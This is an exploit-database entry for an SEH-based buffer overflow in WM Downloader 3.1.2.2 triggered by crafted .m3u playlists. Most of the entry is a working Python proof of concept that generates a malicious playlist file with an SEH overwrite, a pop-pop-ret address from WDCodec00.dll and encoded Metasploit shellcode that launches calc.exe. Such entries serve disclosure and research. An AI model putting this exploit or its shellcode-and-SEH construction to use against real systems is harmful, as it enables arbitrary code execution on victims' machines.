WM Downloader 3.1.2.2 2010.04.15 Buffer Overflow (SEH)

vendor:

WM Downloader

by:

@fdiskyou

9,3

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: WM Downloader

Affected Version From: 3.1.2.2 2010.04.15

Affected Version To: 3.1.2.2 2010.04.15

Patch Exists: YES

Related CWE: N/A

CPE: a:wm_downloader:wm_downloader

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2010

WM Downloader 3.1.2.2 2010.04.15 Buffer Overflow (SEH)

WM Downloader is prone to a buffer overflow vulnerability when processing specially crafted .m3u files. This vulnerability is due to a boundary error when copying user-supplied data into an insufficiently sized memory buffer. An attacker can exploit this vulnerability to execute arbitrary code in the context of the application. Failed exploit attempts will result in a denial-of-service condition.

Mitigation:

Upgrade to the latest version of WM Downloader or apply the patch from the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title: WM Downloader 3.1.2.2 2010.04.15 Buffer Overflow (SEH)
# Date: 2010-07-28
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 3.1.2.2 2010.04.15
# Tested on Windows XP SP3 en

payload = "\x41" * 43485 
payload += "\xeb\x16\x90\x90" # jump
payload += "\xb4\x15\xbb\x01" # ppr - WDCodec00.dll
payload += "\x90" * 16 
# windows/exec - 227 bytes x86/shikata_ga_nai EXITFUNC=thread, CMD=calc.exe
payload += ("\xdb\xdf\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x33\xba\x4c\xa8\x75"
"\x76\x83\xc0\x04\x31\x50\x13\x03\x1c\xbb\x97\x83\x60\x53\xde"
"\x6c\x98\xa4\x81\xe5\x7d\x95\x93\x92\xf6\x84\x23\xd0\x5a\x25"
"\xcf\xb4\x4e\xbe\xbd\x10\x61\x77\x0b\x47\x4c\x88\xbd\x47\x02"
"\x4a\xdf\x3b\x58\x9f\x3f\x05\x93\xd2\x3e\x42\xc9\x1d\x12\x1b"
"\x86\x8c\x83\x28\xda\x0c\xa5\xfe\x51\x2c\xdd\x7b\xa5\xd9\x57"
"\x85\xf5\x72\xe3\xcd\xed\xf9\xab\xed\x0c\x2d\xa8\xd2\x47\x5a"
"\x1b\xa0\x56\x8a\x55\x49\x69\xf2\x3a\x74\x46\xff\x43\xb0\x60"
"\xe0\x31\xca\x93\x9d\x41\x09\xee\x79\xc7\x8c\x48\x09\x7f\x75"
"\x69\xde\xe6\xfe\x65\xab\x6d\x58\x69\x2a\xa1\xd2\x95\xa7\x44"
"\x35\x1c\xf3\x62\x91\x45\xa7\x0b\x80\x23\x06\x33\xd2\x8b\xf7"
"\x91\x98\x39\xe3\xa0\xc2\x57\xf2\x21\x79\x1e\xf4\x39\x82\x30"
"\x9d\x08\x09\xdf\xda\x94\xd8\xa4\x05\x77\xc9\xd0\xad\x2e\x98"
"\x59\xb0\xd0\x76\x9d\xcd\x52\x73\x5d\x2a\x4a\xf6\x58\x76\xcc"
"\xea\x10\xe7\xb9\x0c\x87\x08\xe8\x6e\x46\x9b\x70\x5f\xed\x1b"
"\x12\x9f")
payload += "\x90" * 16

file = open("playlist.m3u", "w")
file.write(payload)
file.close()

print "m3u file generated successfuly"